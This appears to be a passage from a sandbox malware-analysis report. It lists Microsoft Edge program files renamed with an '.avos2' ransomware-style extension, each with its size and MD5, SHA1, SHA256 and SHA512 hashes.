5167683f5d37953f997e6aeda2f5c00cc56b77838037793f1d4ccff468f4602cde58d38c0200c5e25c5afa39bbefcb1406b19d47fcf155d2bd850195875c7938

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\identity_proxy\identity_helper.Sparse.Canary.msix.DATA.avos2

Filesize
688B

MD5
d14c13d58997829bad2c71305bed9a6a

SHA1
1e887da593c250c9f1279d2a9c6e94a88150b18a

SHA256
638fde266fd514c7c0d74907fbd308a4535011dfb7fb4fe69e1c25bb3c9ab378

SHA512
7f48b3552636eca4928f217edeaedd6a8e12653c020eeb4520aa904c1cc286e235952bcb2ad5d9c923b538b754710ddbc8b2329368f6abd9d2f2dc2901c335cd

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\identity_proxy\identity_helper.Sparse.Dev.msix.DATA.avos2

Filesize
688B

MD5
93de865c8847f425e0c73de6f8ca9659

SHA1
86f01241bc0e9ce5556287299b0acd86411b6dbd

SHA256
e8d9ddf413038c29e0b5e0d42809b56035a9f5c6d65545bc146898c4780ce9f5

SHA512
ec2e6b4c8ec306912d7d4fe3f7279269a28aabbd2532b05d7d07f3e737f94edf31228528c085c4d0c8738c2259aac13bf738e684809a2bd05a6615e8f6c58cbf

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\identity_proxy\identity_helper.Sparse.Internal.msix.DATA.avos2

Filesize
688B

MD5
a85b8bc3e03d6473b3efd502196c7d41

SHA1
5e63215cb4785783e923fee54aa56d9f602a0631

SHA256
5163f408f377247f9e1a029da032eb6ecffcd489a92b7113de02dc3e4cb72d51

SHA512
a022651095331f02243bdea31eb7d8539cf32b9a5d02c7d1aea6b0048b212cde668e5a79b06717c68657bcc55ace87f770cf92d9a0b3ef5133d24c8fa966713d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\identity_proxy\identity_helper.Sparse.Stable.msix.DATA.avos2

Filesize
688B

MD5
55089aeb4cfe89b7522b965f76d96e1f

SHA1
134c86c14dfd1da17e6325339aedd5d03b15fc51

SHA256
093b916b48ef698c7015b9012a00000019484ca0539c5ee1b4c462d98ff0239a

SHA512
0efc8d1665c2253f7e54e631bccfdb1d142863d8078a4cacf0fe34f737c01e14c5a5976c1cbdd2dd9de187c298b77454abda928c1e7dacfe47a6355d6f29cf90

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\identity_proxy\resources.pri.DATA.avos2

Filesize
688B

MD5
061747c2009128ec0f2ab26480292b2f

SHA1
7e667d9ec2628f92ef1f12062c571962b9a8cae3

SHA256
acd6f2e082b543244d3eeb4da4c6b09e139830a2a55fb6740cffe9c77272c8d0

SHA512
8157a02a66135555a2a981ed794fd8c7141aed2b2ca8b73a3040934788c4d611624a6e4f685724da6eafa38d65ce2f47cdeca30a64aef4c1532d3b255840a721

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\msedge.dll.sig.DATA.avos2

Filesize
688B

MD5
d0ce6a29d61ff1fd0eb6d9df24b9865d

SHA1
2df10c599644a91e4e1aa8868f85808202c21aa0

SHA256
20b899ab1c08a298f2c9be778ac8ac7f05ebe199a5aa6b2ab930f76148d8bfc7

SHA512
8422753a5275a8cca4d398d94b3a489349ec4812e62cc2a6b01b946c2a3f4ffbcb0584c7456951b8c9ffd2ce91ad7cb51f3232faeb1204be07f688c01b065bbe

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\msedge.exe.sig.DATA.avos2

Filesize
688B

MD5
c92b39daf093ac5ea360516a8cfe3b9b

SHA1
edb4a23742f680400e663710a8036cd233eb50e9

SHA256
46b61210872eeb27c6cbd5b7db9b37d0a2983c677b5dfbb80d3d03c6aef65397

SHA512
05dd9e32b61486ec4d8be756cb7a1d8cfb3aab74ee3d71cde6980cc31d63482311be59e787f4c1410999744bf25d87c1449cef6f9416a592c8a6a6d52a269a8a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\msedge_100_percent.pak.DATA.avos2

Filesize
688B

MD5
d1a1b829c9166ae7f1fac42941fa2401

SHA1
b1bb9f16a2613ae7c50b4ea2fa6295c934807748

SHA256
7ca92c5f20800b64dc62f273727c984b68fb8bc3754e7595c71431789e429c1f

SHA512
388741528e122688ec2557070d9e091728c6251fcb59492e387e6e67bb30b73f2bef432c0b90209f1422020b258f731efebc7c0c2f1774a6595d404bba947620

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\msedge_200_percent.pak.DATA.avos2

Filesize
688B

MD5
b3d254a371b4538d158fdfc63344e070

SHA1
8897b69a8c832aa0a41c133304116a1d55bfa971

SHA256
865225bf33b2a25709dc5bac12e599879edfcb14ec8a57108e0d4e0be1168044

SHA512
086a884d1529014e54f5fd26b57aa40921bdf86025f0525696a8282e1fe0f1c00844a3c48cbf70e6727bc65e8e59eb42ba70c3ef140abdd0fda615f7b921ee2c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\msedgewebview2.exe.sig.DATA.avos2

Filesize
688B

MD5
c7585f8730b42f2f1fa512c59559ad27

SHA1
9dce87e9bf5d1085ef9a8497dba394a943b3f349

SHA256
f10d8c2920eceab5f92b730b1e5f68d3ca5a89aabe499e49867f73f5409316c6

SHA512
5a0949fa05829f2538fe201dc2a8abbf2e7ab765f9ea68abb6e049c9e5c34b37c004c75176b0e1fb236f529e7ddd90837fc097b07befcead4a8ab81bc37a16b5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\nacl_irt_x86_64.nexe.DATA.id-9C365015.[[email protected]].ncov.avos2

Filesize
5.9MB

MD5
48bc2b808f489a44d9efacac14df96eb

SHA1
3a58b8e7d9f0d02e4c8d5c699ffd1f4798cf8225

SHA256
a73c3f663d4b4e7301bfc785459c84dd172057148a8abd6aa1c03f123994c053

SHA512
6f06211a4cfcdd75103925bfe6ad5a140f76558ca0f48a88af7aa80b90ce81be00d2c7d2896d9dfa820da5383de8735e2c6db203a3124f805f927e1b2ca9f9e7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\resources.pak.DATA.id-9C365015.[[email protected]].ncov.avos2

Filesize
16.5MB

MD5
0c05177392f7814f3438594c5a7f9841

SHA1
b2c47a211a7a6e5987cfc3336854051679f354b4

SHA256
270e3a07ee373e179c7f641328bebbf005c162eab54a6247cdeec7f656e21afa

SHA512
b3978294f52609a282443fd5371e7597c400c575a126b503270b3879148458171df5b9e788353a5e5a640e7904dc010f3ebe789a17704d49159def496667edc5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\v8_context_snapshot.bin.DATA.avos2

Filesize
688B

MD5
b0b6372157b48736ed0d42f0d67c8ddd

SHA1
bdec5540b9ffb90309cf71cb7c21b7952377c0d3

SHA256
b97bba922d8a0c6a64161615a35495349492bdc1f280a690f156d11c9a4380d2

SHA512
2e5ce996616f4d19dc284b780af1a5c31367e7c53a799a7bcff10c6937225382a885ba79eb03ebf57af9808d4b30bd8a75031dd80049d3c8f461a4e6063213a7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Mu\Advertising.avos2

Filesize
688B

MD5
7b8094c122e1720414240c4008099358

SHA1
979c707527f4933ff65797af21d1c0624b3955c1

SHA256
0e87960ecf7dd57d619ebf765791eb0087a8bbc7fd2902ac283c1e695c5f3c61

SHA512
cacf174edbf1cab7396aa7b0a7fc566ef43ec8beca4c57cd3f3e43b66b06077957a36668b49c6869d2cf7fc42f5446d375d0a275ae1d886cc0ce4e5948dbc068

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Mu\Analytics.avos2

Filesize
688B

MD5
6b93638998ea21dd7e6c9908a1d35d05

SHA1
fa1e54d91ff94a8aecbe19ecc4d3f4aad37b7f93

SHA256
68f84c7fa0760fc4d1f24d0b6d4c12d8ca46d1d74a95bc1258bb88bf2f507837

SHA512
3ec1336f39b56d1b10bea1359b583dc8a5d06859dcddbf6a4ee52bf6997dbb19fdec2760624fe509c96286b9eac3873124b891993120335c2fc4344da59e17ce

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Mu\CompatExceptions.avos2

Filesize
688B

MD5
95ea4a577100f570871666fdc372d1ec

SHA1
c3f0326f964aa998c7f90961a2efa6a63af07aa1

SHA256
23f7e9a43466fe50d385df6a1e51fe2260034458af96a46dd4e2a443189fcda3

SHA512
7cee5c77500d4acc64f3c1a550ac4595be85ca716139a4999fcd4270c476a916345f8b0a578b5f970b55132926efa97dd51228a802e7b93565a0cd73d505ffc1

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Mu\Cryptomining.avos2

Filesize
688B

MD5
a779af366f111ff0f710a07747581be4

SHA1
0764b9ba7f8b9ed96f85a8938e4e78b35abbd029

SHA256
753d26e2cf47eef4181de85fb135634652bbfea76e036f8d27506e4149717dcc

SHA512
9e907049f62366e756e429db1204a050a3612c13daeb9a7163dabc623ada219bdb706294cdf9927127051a76fe6012e7c8202048bfe4673e97830239d4fc1b5d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Mu\Entities.avos2

Filesize
688B

MD5
5ec675750e9041a29fc15d2c8170d2d2

SHA1
2d341639109465f56d283b34e4121ef83c1cdef5

SHA256
48bff3bd7c4678309b6b8a5f69dbe437fb8f2d13207a20b6feb03e37f44d9f06

SHA512
ec403308938e46a0e7299a3a576f78595227faa7a49fe250edcfc5e26da1d1effa4e63389267f0bd87b2851769196251a58eb24ffdf221883e7f1839f65a010d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Mu\Fingerprinting.avos2

Filesize
688B

MD5
464bb64c2c71bbf95b607fc893295cba

SHA1
5be9cd327c95d86681b4e0c96cfd4bcbbf5b66e6

SHA256
77f1f5631aba9fc838364f7cab8dbae865739803f2e1868d479ba2db17ece074

SHA512
cea2bf438b83777e054f35365cb66e72a34472beafa19eb96df148220ee25e45e9d94658bf27e19e43d9c7141870455c9a7b29996577decf46c1314adde54cf8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Mu\LICENSE.avos2

Filesize
688B

MD5
b23936a7096219d4338e4ade19ace5b6

SHA1
42013e4bf90ddc0a0d81548ffef2f096481b7452

SHA256
2e9941069f4c303acf890ffe56f95e292420d2ffc4d4dfdff5eecd945f8e4600

SHA512
fdcfdfedd17ef4060373f84a07acfe44db0d327efe9f0d9123a0713330d4d61af976c62eb64960f506e24f25dd93bb6f38cd6ce22f4e54725c836220e37c1c34

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Mu\Other.avos2

Filesize
688B

MD5
22bdb8a569e6810029edd7a43f75da71

SHA1
e7e04cff30b0484c2a9cb30012b8fe7dcbacea14

SHA256
52e2903ecfb91e4f6791501840bba77cc21b55b0ee72d3e1520977fb54e67929

SHA512
84b3d20735707e0b671b63e395d8a2de5d0227a3a90aadf53f2314ff21470a4fc37638aa3aa46d431fa0b20389413c0bc3cb907c5fcd5e5e1407c8b230e27695

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Mu\Social.avos2

Filesize
688B

MD5
488b41749af99559b4a199a38190b670

SHA1
5c93da3069f22656ae0430b894c5dd88ecf05816

SHA256
3448cc2977e601f1efaff27c83f70b4e28e442f5bd06b17a36df598af9588ba5

SHA512
f1bee4fd09585e868a049304d4627b026bd56e8b16c197ab7516d8277393f389c98d9b3521e212d2d7eeeceda80834d0ed1d9c13d987b99e910ab0d53d1ec082

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Mu\TransparentAdvertisers.avos2

Filesize
688B

MD5
de89c4192c0079e431e7090843500b20

SHA1
a857673316705ed1803cc6ac75b2aad7683f2b2d

SHA256
1deab38fd739a9e45775d9119a514adf99b5f270404485673c16f03b87f3ce9c

SHA512
3271a28e090fc63c12061459fabad9a42a830f0030aecef99a3b2ff1c91317df8aa3efca2bd52041c88f5ca7872211a7293f7b1e6cd1d4e981974e964f5089ff

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Sigma\Advertising.avos2

Filesize
688B

MD5
a580347d60dec71674f20a8b9acdcbf2

SHA1
82f39ae6d52c1c8526c04202154298c0d56093e9

SHA256
5d3b493e4d7f360383a8c80094cd6b6ae90e6620843ab38a22b7c98708d20c6e

SHA512
318e228f7b67e8010b44d34ee0760cc5d2bab4979321b6dea76de4eca9d1cdf1dce819763c241b55df0c5a234bf03d8f6fec1657422fd468a4743c54e1c8ad7c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Sigma\Analytics.avos2

Filesize
688B

MD5
96f0f9adb9cda0e666269a2dd2ef2da8

SHA1
85764d71e86007e6c35736e0c5c99e83fcae2069

SHA256
4354b532f776decd086aadd5bada84ccd4c916096b13d04deb3964480ff0932d

SHA512
990f4612f2c4faf7e6370f5ffce554abdad436fc4220b87e7b3f87e56825e0d41f3a8afc1702264604fef08ba09b64bbd2b095f29507276bfc092130b520e76d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Sigma\Content.avos2

Filesize
688B

MD5
c8b458b3e2502e51b4626140ee815d48

SHA1
d9bcfa31b9b6ca27ad8324060c469e0500725c29

SHA256
97a53c4ef4679eabcab06683b5bb9e27d0c2e30d63bab3e8ddd37e5089a8b614

SHA512
5e30e3d387318e77c4ba4f08bb4fe08ed0a00f1dae8c3782bad8046166f02aaaea4d8651114b346b5dd5412ae00bd80f236b0855839d37637ae8baa9ee1d4b7e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Sigma\Cryptomining.avos2

Filesize
688B

MD5
a58c330a2489986ba5a52d8c3e245a02

SHA1
4a848d9419d14475789e6ee769a62df9c60d7612

SHA256
467dedc1f5cd1eade946c0505265849c9ad1d981fa512d797e7096ce5cdac1dd

SHA512
514fa9004b7ad94d9655e573d8236a63956f2313b824dae5c79826aa8d75462bcb8427841b89d25dcb36824f610ae0de1c6fb6f4b9dc92a9414472ee97bcf865

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Sigma\Entities.avos2

Filesize
688B

MD5
6033d908a2a53709151a97b17b4ece31

SHA1
58010c698d788786c8f6405a37ab6c6c75ebbe88

SHA256
5d3a934892dc070070227c7d97ba211e99a9df88b9a08210fe65b02bde8b679a

SHA512
d6c40462ac5b432f2bf0aafed9a5fce28e131bad39e7acde0fa070ac7d077963211773a769fc5f7c748988450b6f74eaabab74b4c49db860c618b3e70b061181

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Sigma\Fingerprinting.avos2

Filesize
688B

MD5
18d299d7b545584a6210d2baac4cb0f7

SHA1
56cf851d80803a410896cbb8763011fd0d2b2ec3

SHA256
074ad3107a803dc3be683b899a978778d81d99a80b46555c580873330c09ac13

SHA512
934997d2f091a5b893f77c2233a1788456a0f194976c2eb73d79a8d45ab0eab3098c9d1fc3e886c4ac5007ccaed2009add760857cf818749a0c050f0681486c1

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Sigma\LICENSE.avos2

Filesize
688B

MD5
21ad8117a8720ecc9f5409d586ad6db8

SHA1
0c8972a2592a40d986e49f2fd8d25862eb256f79

SHA256
1563afd0c22f634a346bf1b58fe1ceac4dd907db10b495c4fe9f524820090339

SHA512
45ebb8733c7ac3f71a6045809ac20ac37fcc7bed5b26a57cc275fe3b2ef4cb52ce1633fb57128c0a12e8847b55c2fac4fdae87893ae7b82e55c5d197ec121748

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Sigma\Other.avos2

Filesize
688B

MD5
c6db11c2d52c9a460162a17063ee8bd1

SHA1
f38285d57e9d891005f1ae217581133a9ee0f60b

SHA256
bb934d65792c2c1591e9b747d1372d802f4951344b28126b2c8ac8b5947ae5b8

SHA512
b2182c39fa53e30f4b16219232cccccfcad0e5703f7a547263624239fc4f2391a40a1a844e8d56f18551dc55b70fc6cb756bd3427ea66187d8c376f896490b71

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Sigma\Social.avos2

Filesize
688B

MD5
3cd85b744fea56a9fe49463873679c31

SHA1
1e151a80e7dfa468444206e2649463dc659827dc

SHA256
210fe4460fcc3cc832d0f9c356ceb28ab41d24ae508b1ccea3bd043ebd32ebe7

SHA512
6ab5742c9e5b9ac5dfa0cd86a4f27e2971b8b38a8d9f91fb0c9400ac14a4c61db862afbad91a137eebdf06b82360cd4f2ac6ca45ee26c6f717944f0d6076a45f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\Sigma\Staging.avos2

Filesize
688B

MD5
4d710c6149dd7ea1fc1518a86d84495f

SHA1
707815f418cc075f3fe780799d6a8440a97bd4ab

SHA256
e4b8c87e97e4598173ca4bc01aff0aa43c34c12d5e5ce6970585be027b313608

SHA512
d790244454d96cc850cc5b8a742832bd5ae1cdaaa9a9001d2260b1a2ca9fa8917edc498bd6db154437ea045d7e65ea145935fed91dfa9f4983a22a6a74d04ac5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\Trust Protection Lists\manifest.json.avos2

Filesize
688B

MD5
775c119c1513810482a65c28228570ff

SHA1
f6f9021c3526f5917619a98747b20165b5869ce7

SHA256
689fa54ad36eca502b10d202132439f6800d34dc89026d86aa56ddcdd0e47a32

SHA512
25618b907401c831751a4cd5629f8a7b62f45e5d610d9b7edff0a2c351bf5f88468756049f4349ee0079a1a527682285148e6be667f34bd6aeb0c2f8e6b4c9dc

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\VisualElements\Logo.png.avos2

Filesize
688B

MD5
041ffd6b87d48abba4fb73d46499f6fa

SHA1
ba06cd16dc4a17eec9b8a2dff094f6f4c0e8e97b

SHA256
4fdf1035b86a55d48d05a18c5da4b65dd52f94a98fdff9e53f81aa9f01d67ae3

SHA512
39ad08a707ca4c5c052683c8ea4f1cb831601aff0bd03becc202d360d74bb798b9f45d6c9184074c55905eae4053cb613f2a6eda347b5719f4179d2314d77f7b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\VisualElements\LogoBeta.png.avos2

Filesize
688B

MD5
e26528f8ee4390bb998e36b036c30a87

SHA1
ee89e04f8a754fc7ef9f0f0c34cc3ae45e8b2b46

SHA256
067413160a1d0c4604b71c5d853985891bd0da404f0dd09938e08efe28f62e0f

SHA512
ed65722e406424449462b909f4c92aed37ae3af4d6b3b8d4610c80d046ed67bd620bf98ab63fe7da130dd63b1d9824d2ba025eee1668dffafff07a6ce474130f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\VisualElements\LogoCanary.png.avos2

Filesize
688B

MD5
453c829fe8f969e8e4558523c21ee30f

SHA1
8ccc36a4914b4715edcc0924b2366b335e856810

SHA256
038398185bc53c8fc2216cd79eaad27971873d527e9e9d947d9ba57d12ec0aac

SHA512
73a49b095ccf89be702d3792f59298b249860d7d29adcc161b8ca1a2b6f6253a3658ae6c858405435196a800acf010555ca9b8e5c6ab1646897f9c7ffd7a7eac

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\VisualElements\LogoDev.png.avos2

Filesize
688B

MD5
ba82f2dd8a87f98eec64f6f00c2e2310

SHA1
ff55c4c8ffc1fb733b6cc5f7bfa44c641d1b040e

SHA256
32cfc7782f2eeb70eff576bab1c2c688acd6c4bb6b376ea5d997157601a31e27

SHA512
2031c0c663cc64a8d7916e414f52b916f9e6a73c60caee451c64d493831878b68d68abe581d461ff9dc29e6a5bbeeb2a01ca5904d35973ec5e11d7316ca11afd

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\VisualElements\SmallLogo.png.avos2

Filesize
688B

MD5
c121a630b4b648aff907415b4ffe9689

SHA1
42b2f02abeeaf4ee5ade79dc454e9e709483387d

SHA256
2997b414bcc3bb69d9f5acf0589a9907469f82c2880a178a0079ae230dabb962

SHA512
4f80b23e9fd32201cddc75159e2bf44bff227f9cda1a10f4ea8bab614b91ed78f974abe6a8064296df5ebd29a78b9cc5654dc448b128a9c9a36928bef3aa5705

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\VisualElements\SmallLogoBeta.png.avos2

Filesize
688B

MD5
57797cc4f99e45f62f9fb139436d8da8

SHA1
02e7fdfbe27b17839d21045a8cff74c163238d95

SHA256
f55774c89abc144edeafa88b846db5da2e800af2edb01ff34e387b8ad8df6745

SHA512
2aa239dbdaeb9317737d89d9fcce4cb2c3b8dd8e4f0bbb22c3eede0cc4dbea2aeda53e7cc5193eaab273a0e616f1f531a02d6041954fec20a02c7d0c44e31921

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\VisualElements\SmallLogoCanary.png.avos2

Filesize
688B

MD5
906b5313eeec352e2f249ae26fe15ac0

SHA1
4bf2ee173e640eaea8f94d68c3e5770776e2861f

SHA256
cd468b2d6b3650c16243b61c6286ac3140ee062ca2228d2c0ea693ef921c1309

SHA512
cae75c9b0b85a45f05b4aa5591e9ba04790cbc4ae835fb5b39039b91f919a29ab596acc8e19e86670d11e59b28e427cba0032b68d47c0d4129ecac9f2db670e6

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\VisualElements\SmallLogoDev.png.avos2

Filesize
688B

MD5
bdd7db78c341aef300c49b8202a99931

SHA1
b59b42940cae313d1f37760836d637777b1355e0

SHA256
066bce7d3f0b1806417818a23af758b04a55b5a1bda67cb7f126cd61ea50201f

SHA512
6d662b3d36751f2b4c9ac1dfd1e406b50e97a36f35c1bd2d67fa73f09d6e43d361d053fadada13aa693e6ea2e512a73806fd917d678502e870b86a376cc40c14

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\WidevineCdm\_platform_specific\win_x64\widevinecdm.dll.id-9C365015.[[email protected]].ncov.avos2

Filesize
12.2MB

MD5
37f3a449ef4ff9f9fdd43674928397a2

SHA1
22bdcaabb7e17cf8be915fc9c81c395e5b141ff8

SHA256
7eba84924f5481fdf81c1f3d58db0274cdb6098e14f011a7800eff1d49875ceb

SHA512
64f538b6310e436a3061c0e01bbe4fbc65488674802e18ae7758db1dc1c77a63d016b1be09436bf33b9266fe0960e37f375b6019e27ac226fbfc25c1bf891f0d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\WidevineCdm\_platform_specific\win_x64\widevinecdm.dll.sig.avos2

Filesize
688B

MD5
b3961a1c63ca4f8085339eec4578e41a

SHA1
022caf6fe06814fbf6e3b12ff3edfdda29926821

SHA256
abb5b7d326e140e830935c0e24149981a0949372326fb4a7094f3d44833e1874

SHA512
2ab4d0a10c2d06ad25eb6daa6f0d4eac66af421f81257c10c37fbc08df2abf7c917b4689bf8e2423a82360dfe048f4de21414cfdbe26973e533d7c20f82cefdd

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\WidevineCdm\manifest.json.avos2

Filesize
688B

MD5
9e1f8417735aea2ac8ee33f425787d70

SHA1
34c350fa4cb68f7f804d640a404c83f266dd7709

SHA256
e57503dafa88d06bbc87598dfbefc9198ca7656fe3fdbffb3f6be7b18f5cf179

SHA512
cf66a84101261e88a4581135c6cb599eff0705573fb54bd5c79ec08cedfaae5ef954780fd2affd2113451d7862254dd9a92cfb5f820360593fc59ea06e6b1be2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\d3dcompiler_47.dll.id-9C365015.[[email protected]].ncov.avos2

Filesize
6.6MB

MD5
cbc48c2c9976aa0c5b33dca953125fc5

SHA1
0e769b2aaad12a922759191b1727d49da3e61a1f

SHA256
03b7a83e1f1c7d1b5443b9290795d89728798ddb356dd8335d17d82436f4e542

SHA512
99b3f5fcaae984db1a3087a551e713773d6b98839534f12a42cedaa5ec4e6888761ce32c155f707457c5a836d182063e3c206e511b5f35cb06ba7923ddf74e63

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\dual_engine_adapter_x64.dll.id-9C365015.[[email protected]].ncov.avos2

Filesize
5.1MB

MD5
b4c177ced6d073d42461aeb521333bd2

SHA1
a6852748b3af024170be16124a18424711b9d12f

SHA256
10b29e125d90dfdd5ef0a5e55395590d2d86310a5743ae0944d3ad6ddf30aa54

SHA512
18bbf6ffbf50ed43805a80f83d703d5b0628d53eb3aebe28ce44938ebb23cb76f7e5ea516d4cc1c316000831b270bebeb7f7b966c90bc642618cba1f76d14c73

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\icudtl.dat.id-9C365015.[[email protected]].ncov.avos2

Filesize
14.1MB

MD5
68426cada87f84e643aeb0afe6b2e0ae

SHA1
1e70dc9dba02ecc93975b0c185d26669291fb742

SHA256
641e846dd25b3700b0c8353d6e2f9715118f6e9e660381c4cf75d3cb96e44b14

SHA512
79efdf78a71edf7fb31346aa75321825ef2d268279585f28052326794b1c81e57baa607c5f0fd41e0b60277ce77c3dc809de7fac5a8df0c24d0c07c9e65a4023

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\identity_helper.exe.manifest.avos2

Filesize
688B

MD5
bd967374cec78b9064188fbbe363e14f

SHA1
276e62a4b17fdcf99ceb93d51f1d5d5ef78d1993

SHA256
9d88cbda9f3e644172d2edf837bbc8e12e87e22f70093f8751b94481610df76c

SHA512
31debe35a8e79fe7434966dfb240c80209d07604772c4a2910816f3e433be77aca2a63dfcd916178c9a5dc02abc363a8bddb9bfa3c1427d7eb4ef9ddbf838911

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\identity_proxy\beta.identity_helper.exe.manifest.avos2

Filesize
688B

MD5
c8711d71275da7bdfed3faddfd39d78e

SHA1
5dc59130fff37b4448fdf67221f9af704e6760ad

SHA256
aa273ab2c7f1f0c923230ceb66ce8e2d37251a96e448406ff680e6a5f10eab67

SHA512
c1886f0f7949fa4bc586b673ea041ce897c7bb1085c5082d09e63d2827c99d6b99fffc8dee9758644060f7e1ca9a47f4e209d5d11fa644b750fce295b5fc6a4b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\identity_proxy\canary.identity_helper.exe.manifest.avos2

Filesize
688B

MD5
5c8c59aa589b66a7eefe18b02d632f45

SHA1
ca66855b347af2ba645130f3c7e089d5efdc3832

SHA256
2ea1784ecc2eea8d9cefb33d93b421bc0ff2c891b8695e893dab80632df873b6

SHA512
1f9fbdab455b62cad5372961592f8f4d60b1bbf7d98e76a88ad3068cb5d40fe4ebcfdd798f7ead9e70773c668a0546efd5dabe2a981308f814920bc2f0da7156

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\identity_proxy\dev.identity_helper.exe.manifest.avos2

Filesize
688B

MD5
cd21ff714050ec0a40403d1a5a82b312

SHA1
deb92ea663b9567fd660fb046b344901ba674f0a

SHA256
22b12da38e61a37a2c34f805961489489dbf287f3dcfa8f56b0d59a298ae4366

SHA512
b602469fa42123245016664fd984ab6d0b9e926f1deec704c8de8b1eccda9ac6269732c5f6314ea45fa09403f6ed70051b9d7c56831a4a67d3f2118d70665114

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\identity_proxy\identity_helper.Sparse.Beta.msix.avos2

Filesize
688B

MD5
61601d3ea326edadb4bee5ee4edaeeff

SHA1
dc8620070de5e88d3300de9128f92c5ebcdf3345

SHA256
5af33dba9b75d733145ff0461d45abb3e7b5c71567b9c25309683dd358460483

SHA512
a82e3fedea6f9d044c3f1013ac0bd1a93c3d4d463f8354582a3938350a4b9c77071c914b73e3d45aa64e02dad5498b79f6955372747ee4a45ab1605fb56b35bf

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\identity_proxy\identity_helper.Sparse.Canary.msix.avos2

Filesize
688B

MD5
c827efad18b7c3aa1bed465d105898d5

SHA1
65d8ddce01d17b6bd5fb903fa89a200673ff85ec

SHA256
4626b9fe0da4479df77a4e0204bb478c0fa41a28402d216e6d2b85fc849a5715

SHA512
aa926f470d67e10100206eb7a38d694de15694bb08530627a4af096ce7b10ac7d6b65cb22a94bd9a74ce59adbf37dae7ab33e404514436f2067a0337cc348347

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\identity_proxy\identity_helper.Sparse.Dev.msix.avos2

Filesize
688B

MD5
df0420bf106d203b4d04fd01afb0d3bb

SHA1
6aef0a64bcb87b7d1127019e6809825d73655156

SHA256
7f5642b39fe5922c16ea31d0148129c0573720e0bb6ebc782fd9c9fbc82b30e0

SHA512
6faec6752bf0ea0d463c59a236fb5495f50e5f7f87745b7e62cb6f79c8db20756723f0d034e0bc74e840eee2e4017d396b0839c1686c3122ec958c258510b7a6

Download Submit
